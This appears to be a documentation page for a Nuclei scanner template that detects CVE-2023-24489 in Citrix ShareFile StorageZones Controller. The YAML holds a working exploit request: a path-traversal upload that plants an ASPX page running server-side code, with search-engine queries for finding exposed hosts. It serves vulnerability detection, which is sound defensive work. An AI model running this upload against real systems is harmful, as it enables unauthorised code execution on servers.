Skip to content
Nuclei Templates

Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution

ID: CVE-2023-24489

Severity: critical

Author: DhiyaneshDK,dwisiswant0

Tags: cve2023,cve,sharefile,rce,intrusive,fileupload,fuzz,kev,citrix

Description

Section titled “Description”

A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.

YAML Source

Section titled “YAML Source”
id: CVE-2023-24489


info:
  name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution
  author: DhiyaneshDK,dwisiswant0
  severity: critical
  description: |
    A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24489
    - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/
    - https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
    - https://github.com/20142995/sectool
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24489
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.9742
    epss-percentile: 0.99933
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
      - title:"ShareFile Storage Server"
      - http.title:"sharefile storage server"
    fofa-query: title="sharefile storage server"
    google-query: intitle:"sharefile storage server"
  tags: cve2023,cve,sharefile,rce,intrusive,fileupload,fuzz,kev,citrix
variables:
  fileName: '{{rand_base(8)}}'


http:
  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
        Host: {{Hostname}}


        <%@ Page Language="C#" Debug="true" Trace="false" %>
        <script Language="c#" runat="server">
        void Page_Load(object sender, EventArgs e)
        {
            Response.Write("{{randstr}}");
        }
        </script>


    payloads:
      padding: helpers/payloads/citrix_paddings.txt
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'body == "ERROR: The method or operation is not implemented."'
          - 'status_code == 200'
        condition: and


    extractors:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
# digest: 4a0a00473045022073000b92223b60aab29c3660296c82855f0d2147dee11d0bfc5007a247fef9af022100f3fddfc8069569bbae812c79ad795f7ab3e72d3a9b7bd42b36c35f47f20bd100:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-24489.yaml"

View on Github